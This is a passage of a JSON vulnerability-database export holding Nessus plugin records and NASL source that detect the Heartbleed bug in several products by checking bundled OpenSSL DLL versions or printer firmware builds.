possible.\ninstall = get_single_install(app_name:app_name);\npath    = install['path'];\n\n# Verify ssleay32.dll prodversion\ndll = hotfix_append_path(path:path, value:\"ssleay32.dll\");\nversion_data = hotfix_get_pversion(path:dll);\nhotfix_check_fversion_end();\n# Handle error; omit app_name param to\n# get appropriate exit message.\nhotfix_handle_error(\n  error_code   : version_data['error'],\n  file         : dll,\n  exit_on_fail : TRUE\n);\n\ndll_ver = version_data['value'];\n\n# Check ssleay32.dll version\nif (dll_ver =~ \"^1\\.0\\.1[a-f]\")\n{\n  port = kb_smb_transport();\n  if (report_verbosity > 0)\n  {\n    report =\n    '\\n  File              : ' + dll +\n    '\\n  Installed version : ' + dll_ver +\n    '\\n  Fixed version     : 1.0.1g' +\n    '\\n';\n\n    security_warning(port:port, extra:report);\n  }\n  else security_warning(port);\n  exit(0);\n}\nelse audit(AUDIT_INST_PATH_NOT_VULN, app_name + \" OpenSSL file\", dll_ver, dll);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/KASPERSKY_INTERNET_SECURITY_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T03:29:59",
        "bulletinFamily": "scanner",
        "description": "According to its self-reported build information, the firmware running\non the remote HP OfficeJet printer is affected by an out-of-bounds\nread error, known as the 'Heartbleed Bug' in the included OpenSSL\nversion.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content. Note\nthis affects both client and server modes of operation.",
        "modified": "2021-04-02T00:00:00",
        "id": "HP_OFFICEJET_PRO_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/74270",
        "published": "2014-06-02T00:00:00",
        "title": "HP OfficeJet Printer Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(74270);\n  script_version(\"1.13\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"HP OfficeJet Printer Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks the model/firmware of HP OfficeJet printer.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote HP OfficeJet printer is affected by an information\ndisclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported build information, the firmware running\non the remote HP OfficeJet printer is affected by an out-of-bounds\nread error, known as the 'Heartbleed Bug' in the included OpenSSL\nversion.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content. Note\nthis affects both client and server modes of operation.\");\n  # https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04272043\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?19866791\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"HP has released firmware updates for the affected products.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\");\n  script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/30\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/02\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/h:hp:officejet\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Web Servers\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"hp_officejet_web_detect.nbin\");\n  script_require_keys(\"hp/officejet/detected\");\n  script_require_ports(\"Services/www\", 80);\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"hp/officejet/detected\");\n\nprinter_kbs = get_kb_list_or_exit(\"hp/officejet/*/model\");\nports = make_list();\n\nforeach printer_kb (keys(printer_kbs))\n{\n  matches = eregmatch(string:printer_kb, pattern:\"hp/officejet/([0-9]+)/model\");\n  if (isnull(matches) || isnull(matches[1]))\n    continue;\n  port = int(matches[1]);\n  ports = make_list(ports, port);\n}\n\n# empty list of ports\nif (isnull(keys(ports)))\n  audit(AUDIT_HOST_NOT, \"HP OfficeJet Printer\");\n\nports = list_uniq(ports);\n\nport = branch(ports);\n\nkb_base = \"hp/officejet/\" + port + \"/\";\n\nproduct = get_kb_item_or_exit(kb_base + \"product\");\nmodel = get_kb_item_or_exit(kb_base + \"model\");\nfirmware = get_kb_item_or_exit(kb_base + \"firmware\");\n\n# from the HP advisory\nif (model == \"CN459A\")\n  fixed_firmware = \"BNP1CN1409BR\";\nelse if (model == \"CN463A\")\n  fixed_firmware = \"BWP1CN1409BR\";\nelse if (model == \"CV037A\")\n  fixed_firmware = \"BZP1CN1409BR\";\nelse if (model == \"CN460A\")\n  fixed_firmware = \"LNP1CN1409BR\";\nelse if (model == \"CN461A\")\n  fixed_firmware = \"LWP1CN1409BR\";\nelse if (model == \"CN598A\")\n  fixed_firmware = \"LZP1CN1409BR\";\nelse if (model == \"CR770A\")\n  fixed_firmware = \"FRP1CN1416BR\";\nelse if (model == \"CV136A\")\n  fixed_firmware = \"EVP1CN1416BR\";\nelse if (model == \"A7F64A\" ||\n         model == \"D7Z36A\" ||\n         model == \"A7F65A\" ||\n         model == \"D7Z37A\" ||\n         model == \"A7F66A\" ||\n         model == \"E2D42A\" ||\n         model == \"E1D36A\")\n  fixed_firmware = \"FDP1CN1416AR\";\nelse\n  exit(0, \"The \" + product + \" \" + model + \" listening on port \" + port + \" is not affected.\");\n\nfirmware_build = int(substr(firmware, 6, 9));\nfixed_build = int(substr(fixed_firmware, 6, 9));\n\nif (firmware_build >= fixed_build)\n  exit(0, \"The \" + product + \" \" + model + \" running firmware \" + firmware + \" listening on port \" + port + \" is not affected.\");\n\nif (report_verbosity > 0)\n{\n  report =\n    '\\n  Printer            : ' + product +\n    '\\n  Model              : ' + model +\n    '\\n  Installed firmware : ' + firmware +\n    '\\n  Fixed firmware     : ' + fixed_firmware +\n    '\\n';\n  security_warning(extra:report, port:port);\n}\nelse security_warning(port);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/HP_OFFICEJET_PRO_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T01:26:39",
        "bulletinFamily": "scanner",
        "description": "The Attachmate Reflection X install on the remote host is affected by\nan out-of-bounds read error, known as the 'Heartbleed Bug' in the\nincluded OpenSSL version.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content.",
        "modified": "2021-04-02T00:00:00",
        "id": "ATTACHMATE_REFLECTION_X_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/74186",
        "published": "2014-05-27T00:00:00",
        "title": "Attachmate Reflection X Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(74186);\n  script_version(\"1.7\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Attachmate Reflection X Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks openssl.dll version\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"An application on the remote host is affected by an information\ndisclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The Attachmate Reflection X install on the remote host is affected by\nan out-of-bounds read error, known as the 'Heartbleed Bug' in the\nincluded OpenSSL version.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content.\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://support.attachmate.com/techdocs/2724.html\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://support.attachmate.com/techdocs/1708.html\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Reflection X 14.1 SP3 Update 1 (version 14.1.3.247) or\nlater.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/18\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/05/27\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:attachmate:reflection_x\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"smb_hotfixes.nasl\");\n  script_require_keys(\"SMB/Registry/Enumerated\");\n  script_require_ports(139, 445);\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_reg_query.inc\");\ninclude(\"misc_func.inc\");\n\nport = kb_smb_transport();\nappname = 'Attachmate Reflection X';\n\ndisplay_names = get_kb_list('SMB/Registry/HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/*/DisplayName');\n\nin_registry = FALSE;\nforeach key (display_names)\n  if (\"Attachmate Reflection X \" >< key) in_registry = TRUE;\n\nif (!in_registry) audit(AUDIT_NOT_INST, appname);\n\nregistry_init();\nhklm = registry_hive_connect(hive:HKEY_LOCAL_MACHINE, exit_on_fail:TRUE);\n\npath = NULL;\n\nforeach key (keys(display_names))\n{\n  display_name = display_names[key];\n\n  if (\"Attachmate Reflection X \" >!< display_name) continue;\n  key -= '/DisplayName';\n  key -= 'SMB/Registry/HKLM/';\n  key = str_replace(string:key, find:\"/\", replace:'\\\\');\n  break;\n}\n\n# Very rough check on ver in registry\n# If not in paranoid mode, and no version available\n# from the registry or version is not 14.0.x / 14.1.x\n# then exit.\ndisplay_version_key = key + \"\\DisplayVersion\";\ndisplay_version = get_registry_value(handle:hklm, item:display_version_key);\nif (\n  (\n    isnull(display_version) ||\n    display_version !~ \"^14\\.[01]($|[^0-9])\"\n  )\n  && report_paranoia < 2\n)\n{\n  RegCloseKey(handle:hklm);\n  close_registry();\n  if (isnull(display_version)) audit(AUDIT_UNKNOWN_APP_VER, appname);\n  else audit(AUDIT_NOT_INST, appname + \"14.0.x through 14.1.x\");\n}\n\n# Get install dir\ninstall_location_key = key + \"\\InstallLocation\";\ninstall_location = get_registry_value(handle:hklm, item:install_location_key);\nif (isnull(install_location))\n{\n  # In the case of X 14.1.x, try another key\n  arch = get_kb_item(\"SMB/ARCH\");\n  if (arch == \"x64\")\n    item = \"SOFTWARE\\Wow6432Node\\WRQReflection\\Rx\\config\\Server\\InstallDir\";\n  else\n    item = \"SOFTWARE\\WRQReflection\\Rx\\config\\Server\\InstallDir\";\n\n  install_location = get_registry_value(\n    handle : hklm,\n    item   : item\n  );\n\n  RegCloseKey(handle:hklm);\n  if (isnull(install_location))\n  {\n    close_registry();\n    exit(1, \"Unable to obtain install path from registry.\");\n  }\n}\nRegCloseKey(handle:hklm);\n\nitem = eregmatch(pattern:\"^(.+\\\\)[^\\\\]*$\", string:install_location);\nif (isnull(item) || isnull(item[1]))\n{\n  close_registry();\n  exit(1, \"Unable to obtain install path from registry key : '\"+install_location_key+\"'.\");\n}\n\npath = item[1];\n\nclose_registry(close:FALSE);\n\nexe = path + \"openssl.dll\";\n\nver = hotfix_get_fversion(path:exe);\nerr_res = hotfix_handle_error(\n  error_code   : ver['error'],\n  file         : exe,\n  appname      : appname,\n  exit_on_fail : TRUE\n);\nhotfix_check_fversion_end();\n\nversion = join(ver['value'], sep:\".\");\n\n# Vendor patch contains Openssl.dll version 14.1.411.0\nif (ver_compare(ver:version, fix:\"14.1.411.0\", strict:FALSE) < 0)\n{\n  if (report_verbosity > 0)\n  {\n    report =\n      '\\n  Product           : ' + appname +\n      '\\n  File              : ' + exe +\n      '\\n  Installed version : ' + version +\n      '\\n  Fixed version     : 14.1.411.0 (Reflection X 14.1 SP3 Update 1 / 14.1.3.247)' +\n      '\\n';\n    security_warning(port:port, extra:report);\n  }\n  else security_warning(port);\n}\nelse audit(AUDIT_INST_PATH_NOT_VULN, \"openssl.dll\", version, path);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/ATTACHMATE_REFLECTION_X_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T07:45:23",
        "bulletinFamily": "scanner",
        "description": "The version of Websense Web Security installed on the remote Windows\nhost contains a bundled version of an OpenSSL DLL file. It is,\ntherefore, affected by an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.",
        "modified": "2021-04-02T00:00:00",
        "id": "WEBSENSE_WEB_SECURITY_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73759",
        "published": "2014-04-29T00:00:00",
        "title": "Websense Web Security Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73759);\n  script_version(\"1.8\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Websense Web Security Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks the version of OpenSSL DLL file.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host contains a web application that is affected by an\ninformation disclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The version of Websense Web Security installed on the remote Windows\nhost contains a bundled version of an OpenSSL DLL file. It is,\ntherefore, affected by an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.\");\n  # http://www.websense.com/content/support/library/ni/shared/security-alerts/openssl-vul-2014.pdf\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?60cf5c8e\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Refer to the vendor advisory and apply the necessary patch.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/09\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/29\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:websense:triton_web_security\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"smb_hotfixes.nasl\");\n  script_require_keys(\"SMB/Registry/Enumerated\");\n  script_require_ports(139, 445);\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_reg_query.inc\");\ninclude(\"misc_func.inc\");\n\nfunction get_file_list(dir, pattern, max_depth)\n{\n  local_var retx, file_list, dir_list, r_file_list, r_dir;\n  if(max_depth < 0)\n    return NULL;\n\n  retx = FindFirstFile(pattern:dir + \"\\*\");\n  file_list = make_list();\n  dir_list = make_list();\n\n  while(!isnull(retx[1]))\n  {\n    if(retx[2] & FILE_ATTRIBUTE_DIRECTORY && retx[1] != '.' && retx[1] != '..')\n      dir_list = make_list(dir_list, retx[1]);\n    else\n    {\n      if(retx[1] =~ pattern)\n        file_list = make_list(file_list, dir + \"\\\" + retx[1]);\n    }\n    retx = FindNextFile(handle:retx);\n  }\n\n  foreach r_dir (dir_list)\n  {\n    r_file_list = get_file_list(dir:dir + \"\\\" + r_dir, pattern: pattern, max_depth: max_depth - 1);\n    if(r_file_list != NULL)\n      file_list = make_list(file_list, r_file_list);\n  }\n\n  return file_list;\n}\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\n\nport = kb_smb_transport();\nif (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);\n\n# Connect to the registry\napp = \"Websense Web Security\";\nregistry_init();\nhklm = registry_hive_connect(hive:HKEY_LOCAL_MACHINE, exit_on_fail:TRUE);\n\npath = get_registry_value(handle:hklm, item:\"SOFTWARE\\Websense\\InstallPath\");\ned = get_registry_value(handle:hklm, item:\"SOFTWARE\\Websense\\SpecialEdition\");\n\nRegCloseKey(handle:hklm);\n\nif (isnull(path) || isnull(ed) || ed != \"WSE\")\n{\n  close_registry();\n  audit(AUDIT_NOT_INST, app);\n}\nclose_registry(close:FALSE);\n\nlogin  = kb_smb_login();\npass   = kb_smb_password();\ndomain = kb_smb_domain();\nshare = ereg_replace(pattern:\"^([A-Za-z]):.*\", replace:\"\\1$\", string:path);\nport = kb_smb_transport();\n\nrc = NetUseAdd(login:login, password:pass, domain:domain, share:share);\nif (rc != 1)\n{\n  NetUseDel();\n  audit(AUDIT_SHARE_FAIL, share);\n}\n\n# Find OpenSSL DLLs under main install path\nsearch_dir = ereg_replace(pattern:'[A-Za-z]:(.*)', replace:'\\\\1', string:path);\ndlls = get_file_list(dir:search_dir, pattern:\"^(libeay32|ssleay32)\\.dll$\", max_depth:3);\ninfo = \"\";\n\nforeach dll (dlls)\n{\n  temp_path = (share - '$')+ \":\" + dll;\n  dll_ver = hotfix_get_pversion(path:temp_path);\n  err_res = hotfix_handle_error(\n    error_code   : dll_ver['error'],\n    file         : temp_path,\n    appname      : 'Websense Web Security',\n    exit_on_fail : FALSE\n  );\n  if (err_res) continue;\n\n  dll_version = join(dll_ver['value'], sep:\".\");\n\n  if (dll_version =~ \"^1\\.0\\.1[a-f]$\")\n    info +=\n      '\\n  Path              : ' + temp_path +\n      '\\n  Installed version : ' + dll_version +\n      '\\n  Fixed version     : 1.0.1g\\n';\n}\nhotfix_check_fversion_end();\n\nif (info)\n{\n  if (report_verbosity > 0) security_warning(port:port, extra:info);\n  else security_warning(port);\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, 'Websense Web Security (under '+path+')');\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/WEBSENSE_WEB_SECURITY_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T07:45:23",
        "bulletinFamily": "scanner",
        "description": "The version of Websense Email Security installed on the remote Windows\nhost contains a bundled version of an OpenSSL DLL file. It is,\ntherefore, affected by an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.",
        "modified": "2021-04-02T00:00:00",
        "id": "WEBSENSE_EMAIL_SECURITY_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73758",
        "published": "2014-04-29T00:00:00",
        "title": "Websense Email Security Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73758);\n  script_version(\"1.8\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Websense Email Security Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks version of OpenSSL DLL file.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host has an email security application installed that is\naffected by an information disclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The version of Websense Email Security installed on the remote Windows\nhost contains a bundled version of an OpenSSL DLL file. It is,\ntherefore, affected by an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.\");\n  # http://www.websense.com/content/support/library/ni/shared/security-alerts/openssl-vul-2014.pdf\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?60cf5c8e\");\n  # http://www.websense.com/support/article/kbarticle/Hotfix-OpenSSL-for-Websense-Email-Security-7-3-with-HF-6-and-later\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?35854217\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Refer to the vendor advisory and apply the necessary patch.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/09\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/29\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:websense:websense_email_security\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"websense_email_security_installed.nasl\");\n  script_require_keys(\"SMB/Websense Email Security/Path\");\n  script_require_ports(139, 445);\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_reg_query.inc\");\ninclude(\"misc_func.inc\");\n\nfunction get_file_list(dir, pattern, max_depth)\n{\n  local_var retx, file_list, dir_list, r_file_list, r_dir;\n  if(max_depth < 0)\n    return NULL;\n\n  retx = FindFirstFile(pattern:dir + \"\\*\");\n  file_list = make_list();\n  dir_list = make_list();\n\n  while(!isnull(retx[1]))\n  {\n    if(retx[2] & FILE_ATTRIBUTE_DIRECTORY && retx[1] != '.' && retx[1] != '..')\n      dir_list = make_list(dir_list, retx[1]);\n    else\n    {\n      if(retx[1] =~ pattern)\n        file_list = make_list(file_list, dir + \"\\\" + retx[1]);\n    }\n    retx = FindNextFile(handle:retx);\n  }\n\n  foreach r_dir (dir_list)\n  {\n    r_file_list = get_file_list(dir:dir + \"\\\" + r_dir, pattern: pattern, max_depth: max_depth - 1);\n    if(r_file_list != NULL)\n      file_list = make_list(file_list, r_file_list);\n  }\n\n  return file_list;\n}\n\npath = get_kb_item_or_exit('SMB/Websense Email Security/Path');\nversion = get_kb_item_or_exit('SMB/Websense Email Security/Version');\n\n# Per vendor :\n# Any build number greater than 7.3.1181 is vuln\n# No need to check earlier versions for the DLL\nif (ver_compare(ver:version, fix:\"7.3.1181\", strict:FALSE) < 0)\n  audit(AUDIT_INST_PATH_NOT_VULN, 'Websense Email Security', version, path);\n\nname    =  kb_smb_name();\nport    =  kb_smb_transport();\nlogin   =  kb_smb_login();\npass    =  kb_smb_password();\ndomain  =  kb_smb_domain();\n\nregistry_init();\n\nshare = ereg_replace(pattern:\"^([A-Za-z]):.*\", replace:\"\\1$\", string:path);\nrc = NetUseAdd(login:login, password:pass, domain:domain, share:share);\nif (rc != 1)\n{\n  NetUseDel();\n  audit(AUDIT_SHARE_FAIL, share);\n}\n\n# Find OpenSSL DLLs under main install path\nsearch_dir = ereg_replace(pattern:'[A-Za-z]:(.*)', replace:'\\\\1', string:path);\ndlls = get_file_list(dir:search_dir, pattern:\"^(libeay32|ssleay32)\\.dll$\", max_depth:3);\ninfo = \"\";\nforeach dll (dlls)\n{\n  temp_path = (share - '$')+ \":\" + dll;\n  dll_ver = hotfix_get_pversion(path:temp_path);\n  err_res = hotfix_handle_error(\n    error_code   : dll_ver['error'],\n    file         : temp_path,\n    appname      : 'Websense Email Security',\n    exit_on_fail : FALSE\n  );\n  if (err_res) continue;\n\n  dll_version = join(dll_ver['value'], sep:\".\");\n\n  if (dll_version =~ \"^1\\.0\\.1[a-f]$\")\n    info +=\n      '\\n  Path              : ' + temp_path +\n      '\\n  Installed version : ' + dll_version +\n      '\\n  